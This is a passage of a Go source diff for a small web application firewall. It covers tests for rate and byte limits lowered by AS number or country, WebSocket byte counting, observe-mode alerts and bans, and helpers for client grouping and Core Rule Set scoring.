+			fromDE, "25 from " + countryLimitPercent,
+		},
+		{
+			"the AS number's",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"the AS number's, the first of two alike",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"that for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"},
+			noCountry, "25 from " + unknownLimitPercent,
+		},
+		{
+			// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
+			"the AS number's, for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:25"},
+			noCountry, "25 from " + asnLimitPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rateLimitPerMinute: fourAMinute}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// A quarter of 4 requests a minute: the second breaks the limit.
+			s.get(tc.from, http.StatusOK, requestlog.ActionForward)
+
+			line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited)
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.want)
+		})
+	}
+}
+
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{
+		rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
+	})
+
+	// One the lookup database does not hold, and one on a private address,
+	// which is never looked up: the third request of each breaks half of 4.
+	for _, from := range []string{unplaced, "10.0.0.8"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
+	}
+
+	// One in a country has the whole limit.
+	for range 3 {
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	}
+}
+
+func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
+	t.Parallel()
+
+	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+	// says, with a GeoJS that never answers.
+	synctest.Test(t, func(t *testing.T) {
+		server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+			map[string]string{unknownLimitPercent: "0"})
+
+		// Once the time the request waits for its answer is up, the client
+		// counts as without a country, and its zero allowance refuses the
+		// request.
+		serveFromDE(t, server, http.MethodGet, http.NoBody)
+
+		line := out.requestLine(t)
+		wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
+		wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+			"0 from "+unknownLimitPercent)
+	})
+}
+
+func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
+	t.Parallel()
+
+	const timeout = 3 * time.Second
+
+	for _, tc := range []struct {
+		setting, value string
+		waits          bool
+	}{
+		{asnLimitPercent, asnDEHalf, true},
+		{countryLimitPercent, countryDEHalf, true},
+		{asnBytesPercent, asnDEHalf, true},
+		{countryBytesPercent, countryDEHalf, true},
+		{unknownLimitPercent, "99", true},
+		{asnLimitPercentURL, asnURL, true},
+		// At 100, its default, it lowers no limit.
+		{unknownLimitPercent, "100", false},
+	} {
+		t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, with a GeoJS that never answers.
+			synctest.Test(t, func(t *testing.T) {
+				server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+					map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
+				began := time.Now()
+
+				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
+
+				want := time.Duration(0)
+				if tc.waits {
+					want = timeout
+				}
+
+				if waited := time.Since(began); waited != want {
+					t.Errorf("the request waited %s for its answer, want %s", waited, want)
+				}
+
+				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+
+				// The bubble's clock stops once this function returns, so the
+				// request to GeoJS, which a request that did not wait leaves
+				// under way, has to be abandoned before then.
+				time.Sleep(timeout)
+			})
+		})
+	}
+}
+
+func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// before is how many uploads come before the one that breaks a
+		// limit, which is answered with status and logged with action.
+		before int
+		status int
+		action string
+		// reason and want are the ban's reason, and its notes' limit
+		// percentage, as percentText gives it.
+		reason, want string
+	}{
+		{
+			// A quarter of 12 requests a minute is 3: the fourth breaks it.
+			"a rate limit",
+			map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter},
+			3, http.StatusForbidden, requestlog.ActionRateLimited,
+			"requests per minute over the limit of 3", "25 from " + asnLimitPercent,
+		},
+		{
+			// The byte limits' percentage, not the rate limits'.
+			"a byte limit",
+			map[string]string{
+				bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter,
+				asnBytesPercent: asnDEHalf,
+			},
+			0, http.StatusOK, requestlog.ActionForward,
+			"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, server, queue := startWithLookups(t, tc.env)
+
+			for range tc.before {
+				s.uploadFrom(fromDE)
+			}
+
+			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
+				tc.status, tc.action)
+
+			held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+			if len(held) != 1 {
+				t.Fatalf("bans %+v, want one", held)
+			}
+
+			notes := held[0].Notes
+			if held[0].Reason != tc.reason {
+				t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
+			}
+
+			wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
+				notes.LimitPercentSetting, tc.want)
+
+			waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+			if len(waiting) != 1 {
+				t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
+			}
+
+			alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
+			wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
+				alerted.LimitPercentSetting, tc.want)
+		})
+	}
+}
+
+// startWithLookups is startWithLookupsAndClock for a test that needs no
+// clock.
+func startWithLookups(
+	t *testing.T, env map[string]string,
+) (*sender, *proxy.Server, *alerts.Queue) {
+	t.Helper()
+
+	s, _, server, queue := startWithLookupsAndClock(t, env)
+
+	return s, server, queue
+}
+
+// startWithLookupsAndClock is startAppWithAlerts in front of
+// readAndAnswer, with the settings in env on top of clients looked up in a
+// lookup database, which places fromDE and fromKP in the AS numbers and
+// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no
+// country, and no other address.
+func startWithLookupsAndClock(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
+	t.Helper()
+
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		fromDE + "/32":    {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+		fromKP + "/32":    {ASN: asnKP, ASName: asNameKP, Country: "KP"},
+		noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
+	})
+
+	settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
+	maps.Copy(settings, env)
+
+	return startAppWithAlerts(t, readAndAnswer, settings)
+}
+
+// uploadFrom is upload from the client at from.
+func (s *sender) uploadFrom(from string) logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
+		http.StatusOK, requestlog.ActionForward)
+
+	return line
+}
+
+// serveFromDE hands a question about a request from fromDE with method and body
+// straight to server's handler, without the network, and returns once it is
+// answered.
+func serveFromDE(t *testing.T, server *proxy.Server, method string, body io.Reader) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
+	req.Header.Set(proxy.ClientHeader, fromDE)
+	req.Header.Set(requestIDHeader, "the-id")
+
+	server.Handler.ServeHTTP(httptest.NewRecorder(), req)
+}
+
+// wantPercent checks a limit percentage that a log line or a ban's notes
+// give, what, and the setting that gave it, against want, as percentText
+// gives them.
+func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
+	t.Helper()
+
+	if got := percentText(percent, setting); got != want {
+		t.Errorf("%s is %s, want %s", what, got, want)
+	}
+}
+
+// percentText gives a limit percentage and the setting that gave it as
+// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are
+// left out.
+func percentText(percent *int64, setting string) string {
+	switch {
+	case percent == nil && setting == "":
+		return none
+	case percent == nil:
+		return "none from " + setting
+	default:
+		return fmt.Sprintf("%d from %s", *percent, setting)
+	}
+}

internal/proxy/bytelimits_test.go

@@ -0,0 +1,525 @@
+package proxy_test
+
+import (
+	"bufio"
+	"io"
+	"net"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The byte limit settings.
+const (
+	bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
+	bytesLimitPerHour   = "SWWAF_BYTES_LIMIT_PER_HOUR"
+	bytesLimitPerDay    = "SWWAF_BYTES_LIMIT_PER_DAY"
+	bytesCount          = "SWWAF_BYTES_COUNT"
+)
+
+// The values of SWWAF_BYTES_COUNT.
+const (
+	countResponse = "response"
+	countRequest  = "request"
+	countBoth     = "both"
+)
+
+const (
+	// bodyBytes is the size of the body of each request these tests send
+	// with one, and answerBytes that of each answer of the app.
+	bodyBytes   = 30
+	answerBytes = 70
+	// byteLimit is the byte limit these tests set, as a setting: a request
+	// with a body and its answer, 100 bytes, go over it.
+	byteLimit = "99"
+	// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE.
+	minuteBytes = "minute_bytes"
+)
+
+func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, window string
+		// apart is the time between the two requests, which the window
+		// still covers.
+		apart time.Duration
+	}{
+		{bytesLimitPerMinute, minute, 0},
+		{bytesLimitPerHour, "hour", 2 * time.Minute},
+		{bytesLimitPerDay, "day", 2 * time.Hour},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk := startWithAnswers(t, map[string]string{
+				tc.setting: byteLimit, metricsToken: token,
+			})
+
+			// 70 bytes are within the limit of 99.
+			line, _ := s.download()
+			if line.LimitHit != "" || line.Offence != "" {
+				t.Errorf("log line has limit_hit %q and offence %q, want neither",
+					line.LimitHit, line.Offence)
+			}
+
+			// 140 bytes are over it. The response is passed on whole, and
+			// then bans the client for an hour.
+			clk.advance(tc.apart)
+			expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+			line, got := s.download()
+			if got.err != nil || len(got.body) != answerBytes ||
+				line.ResponseBytes != answerBytes {
+				t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
+					"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
+			}
+
+			if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
+				line.BanExpires != expires {
+				t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+					"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
+					line.BanExpires, tc.window, expires)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+			wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+
+				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
+		})
+	}
+}
+
+func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"})
+
+	// The answer's 70 bytes are over the limit of 50 on their own.
+	line, got := s.download()
+	if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
+		t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
+			len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{
+		bytesLimitPerMinute: "50",
+	})
+	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+	// The 70 bytes passed on before the app broke off are over the limit of
+	// 50, and ban the client for an hour.
+	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
+		line.BanExpires != expires {
+		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
+			"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
+			answerBytes, minuteBytes, expires)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		counted float64
+	}{
+		{countResponse, answerBytes},
+		{countRequest, bodyBytes},
+		{countBoth, bodyBytes + answerBytes},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
+				bytesLimitPerMinute: "29", bytesCount: tc.setting,
+			})
+
+			// The client sends 30 bytes and the app 70, each over the limit
+			// of 29, which bans the client once the WebSocket has closed.
+			line := s.webSocket()
+			if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
+				t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
+					line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestBytesCountSaysWhichBytesCount(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		// each is the bytes each request counts, and breaking the request
+		// that goes over the limit of 99.
+		each     float64
+		breaking int
+	}{
+		{countResponse, answerBytes, 2},
+		{countRequest, bodyBytes, 4},
+		{countBoth, bodyBytes + answerBytes, 1},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _ := startWithAnswers(t, map[string]string{
+				bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
+			})
+
+			for i := 1; i <= tc.breaking; i++ {
+				line := s.upload()
+
+				want := ""
+				if i == tc.breaking {
+					want = minuteBytes
+				}
+
+				counted := float64(i) * tc.each
+				if line.LimitHit != want || line.Counts.MinuteBytes != counted {
+					t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
+						"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
+						want, counted)
+				}
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute:  byteLimit,
+		allowNets:            allowed,
+		rateLimitExemptNets:  exempt,
+		rateLimitExemptPaths: "/assets/",
+	})
+
+	// Each sends 200 bytes, none of which is counted.
+	for _, sent := range []struct{ from, path string }{
+		{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
+	} {
+		for range 2 {
+			line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
+				uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
+			if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
+				t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
+					sent.from, sent.path, line.fields["counts"], line.LimitHit)
+			}
+		}
+	}
+
+	// A path that is not exempt is counted, and breaks the limit.
+	line := s.upload()
+	if line.LimitHit != minuteBytes {
+		t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+	}
+}
+
+func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
+	})
+
+	for i := 1; i <= 3; i++ {
+		line := s.upload()
+
+		counted := float64(i * (bodyBytes + answerBytes))
+		if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
+			line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
+			t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
+				"want none and %v bytes in each window", i, line.LimitHit,
+				line.Counts, counted)
+		}
+	}
+}
+
+func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Reason:   "bytes per minute over the limit of " + byteLimit,
+		Notes: bans.Notes{
+			Kind:   "bytes",
+			Limit:  99,
+			Window: minute,
+			Count:  bodyBytes + answerBytes,
+			// The request as it was answered, by the app.
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodPost,
+				Host:      appHost,
+				Path:      "/upload?part=1",
+				Status:    http.StatusOK,
+				UserAgent: userAgent,
+			},
+			Requests: 1,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, want,
+		requestlog.FormatTime(want.Expires)))
+
+	if offences := historyOf(t, server, client).Offences.Limit; offences != 1 {
+		t.Errorf("history counts %d offences for a limit, want 1", offences)
+	}
+}
+
+func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		mode:                observe,
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	// No ban sets the client's counters back to zero, so each request
+	// breaks the limit again. The answer is the app's either way, and the
+	// alert for the ban is not sent twice within the cooldown.
+	for range 2 {
+		line := s.upload()
+		wantWouldAction(t, line, "")
+
+		if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
+			line.BanExpires != "" {
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
+				minuteBytes)
+		}
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}
+
+func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		mode:                observe,
+		rateLimitPerMinute:  "1",
+		bytesLimitPerMinute: "150",
+	})
+
+	s.upload()
+
+	// The second request breaks the rate limit, which in enforce mode would
+	// refuse it before the app sent anything, so its 100 bytes are not
+	// counted, and the byte limit is not broken. Its line gives the bytes
+	// counted before it.
+	line := s.upload()
+	wantWouldAction(t, line, requestlog.ActionRateLimited)
+
+	if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
+		t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
+			line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
+	}
+}
+
+// uploadHeader and uploadBody are the header and the body of a request
+// with a body of bodyBytes.
+//
+//nolint:gochecknoglobals // a constant cannot call strings.Repeat
+var (
+	uploadHeader = "Content-Length: " + strconv.Itoa(bodyBytes)
+	uploadBody   = strings.Repeat("u", bodyBytes)
+)
+
+// readAndAnswer is the app of these tests: it reads each request's whole
+// body and answers with answerBytes bytes.
+func readAndAnswer(w http.ResponseWriter, r *http.Request) {
+	_, _ = io.Copy(io.Discard, r.Body)
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// breakOff is an app that announces an answer of twice answerBytes, and
+// breaks off after answerBytes.
+func breakOff(w http.ResponseWriter, _ *http.Request) {
+	w.Header().Set("Content-Length", strconv.Itoa(2*answerBytes))
+	_, _ = io.WriteString(w, strings.Repeat("a", answerBytes))
+}
+
+// answerAfterUpgrade is an app that switches protocols, as for a
+// WebSocket, and then answers each line it receives with a line of
+// answerBytes.
+func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
+	conn, buffered, err := http.NewResponseController(w).Hijack()
+	if err != nil {
+		return
+	}
+
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
+		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+	_ = buffered.Flush()
+
+	for {
+		_, err := buffered.ReadString('\n')
+		if err != nil {
+			return
+		}
+
+		_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
+		_ = buffered.Flush()
+	}
+}
+
+// webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
+// line of bodyBytes on it, reads the answer, and closes it. It checks the
+// answer, and the log line as request does, and returns the log line.
+func (s *sender) webSocket() logLine {
+	s.t.Helper()
+
+	conn, reader := s.openWebSocket()
+	send(s.t, conn, strings.Repeat("u", bodyBytes-1)+"\n")
+
+	got, err := reader.ReadString('\n')
+	if err != nil || len(got) != answerBytes {
+		s.t.Errorf("got %d bytes (%v), want %d", len(got), err, answerBytes)
+	}
+
+	return s.closeWebSocket(conn)
+}
+
+// openWebSocket sends a request from client to switch protocols, as for a
+// WebSocket, and checks that the app switches. It returns the connection,
+// on which reading fails once waitLimit has passed, and a reader of what
+// the app sends on it.
+func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
+	s.t.Helper()
+
+	conn := dial(s.t, s.addr)
+	send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
+		": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		s.t.Fatalf("set read deadline: %v", err)
+	}
+
+	reader := bufio.NewReader(conn)
+
+	res, err := http.ReadResponse(reader, nil)
+	if err != nil {
+		s.t.Fatalf("read the answer to the upgrade: %v", err)
+	}
+
+	_ = res.Body.Close()
+
+	if res.StatusCode != http.StatusSwitchingProtocols {
+		s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
+	}
+
+	return conn, reader
+}
+
+// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its
+// log line as request does, and returns it.
+func (s *sender) closeWebSocket(conn net.Conn) logLine {
+	s.t.Helper()
+
+	_ = conn.Close()
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
+
+	return line
+}
+
+// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
+// test that looks at neither the server nor the alerts.
+func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
+	t.Helper()
+
+	s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+	return s, clk
+}
+
+// download sends a GET request for / from client, and checks that the
+// app's answer is passed on, as request does. It returns the log line and
+// the answer.
+func (s *sender) download() (logLine, answer) {
+	s.t.Helper()
+
+	return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+}
+
+// upload is download for a POST request with a body of bodyBytes, and
+// returns the log line.
+func (s *sender) upload() logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	return line
+}

internal/proxy/client.go

@@ -0,0 +1,62 @@
+package proxy
+
+import (
+	"crypto/rand"
+	"net/http"
+	"net/netip"
+	"slices"
+)
+
+// peerAddress is the address of the request's TCP peer.
+func peerAddress(r *http.Request) netip.Addr {
+	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
+	if err != nil {
+		return netip.Addr{}
+	}
+
+	return addrPort.Addr().Unmap()
+}
+
+// requestIDHeader carries the request's id, from rproxy.
+const requestIDHeader = "X-Request-ID"
+
+// requestID is the request's id: the one a question gives, or for any other
+// request a new random one.
+func requestID(r *http.Request, isQuestion bool) string {
+	if isQuestion {
+		return r.Header.Get(requestIDHeader)
+	}
+
+	return rand.Text()
+}
+
+// scheme is how the visitor reached rproxy, or the trusted proxy in front of
+// it, as a question says in X-Forwarded-Proto, or otherwise http.
+func scheme(r *http.Request, isQuestion bool) string {
+	proto := r.Header.Get("X-Forwarded-Proto")
+	if !isQuestion || proto == "" {
+		return "http"
+	}
+
+	return proto
+}
+
+// clientGroup is the client a request is counted toward: its IPv4
+// address, or its IPv6 group, the netblock its IPv6 address is in of the
+// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
+// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
+func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
+	addr = addr.Unmap()
+	if addr.Is6() {
+		return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
+	}
+
+	return netip.PrefixFrom(addr, addr.BitLen())
+}
+
+// isInside reports whether addr is in one of the netblocks.
+func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
+	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
+		return netblock.Contains(addr)
+	})
+}

internal/proxy/coreruleset.go

@@ -0,0 +1,88 @@
+package proxy
+
+import (
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// checkCoreRuleSet inspects the request with the Core Rule Set, unless
+// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
+// pathExempt decides, and notes the rules it matched and its score in the
+// log line, and the rules in the metrics. A score at or over
+// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
+// and in block mode refuses the request, which is an offence its client's
+// history counts, and so returns ActionWAFBlocked. It returns "" for a
+// request it does not refuse.
+func (rq *request) checkCoreRuleSet() string {
+	cfg := rq.h.config
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
+		return ""
+	}
+
+	start := time.Now()
+
+	// A question's body has been read into memory, so that reading it here
+	// cannot fail.
+	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
+	rq.requestBytes = int64(len(read))
+
+	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.WAFRuleIDs = result.RuleIDs
+	rq.line.WAFScore = &result.Score
+
+	for _, id := range result.RuleIDs {
+		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
+	}
+
+	threshold := cfg.WAFAnomalyThreshold
+	if threshold == 0 || result.Score < threshold {
+		return ""
+	}
+
+	rq.alertWAFBlock(result)
+
+	if cfg.WAFMode == config.WAFModeDetect {
+		return ""
+	}
+
+	rq.wafBlocked = true
+
+	return requestlog.ActionWAFBlocked
+}
+
+// alertWAFBlock raises the waf_block alert for the request, which the Core
+// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
+// detail gives the rule ids, the score, the method and the path with the
+// query, and, for a request that is not refused for it, the mode: detect,
+// or observe in observe mode.
+func (rq *request) alertWAFBlock(result waf.Result) {
+	detail := map[string]any{
+		"rule_ids": result.RuleIDs,
+		"score":    result.Score,
+		"method":   rq.in.Method,
+		"path":     rq.in.URL.RequestURI(),
+	}
+
+	switch {
+	case rq.h.config.WAFMode == config.WAFModeDetect:
+		detail["mode"] = config.WAFModeDetect
+	case rq.h.config.Observe:
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventWAFBlock,
+		Host:     rq.site,
+		Client:   rq.client,
